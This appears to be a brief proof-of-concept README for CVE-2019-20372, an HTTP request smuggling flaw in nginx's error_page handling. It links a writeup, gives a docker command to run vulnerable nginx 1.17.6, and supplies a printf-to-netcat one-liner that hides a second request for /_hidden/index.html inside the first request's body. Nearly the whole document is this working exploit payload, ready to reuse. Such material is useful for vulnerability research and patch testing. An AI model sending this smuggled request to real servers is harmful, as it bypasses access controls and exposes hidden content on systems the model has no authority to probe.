vuongnv3389-sec/cve-2019-20372
https://bertjwregeer.keybase.pub/2019-12-10%20-%20error_page%20request%20smuggling.pdf
docker run -it --rm -p 80:80 -v pwd/default.conf:/etc/nginx/conf.d/default.conf nginx:1.17.6
printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET /_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | nc localhost 80
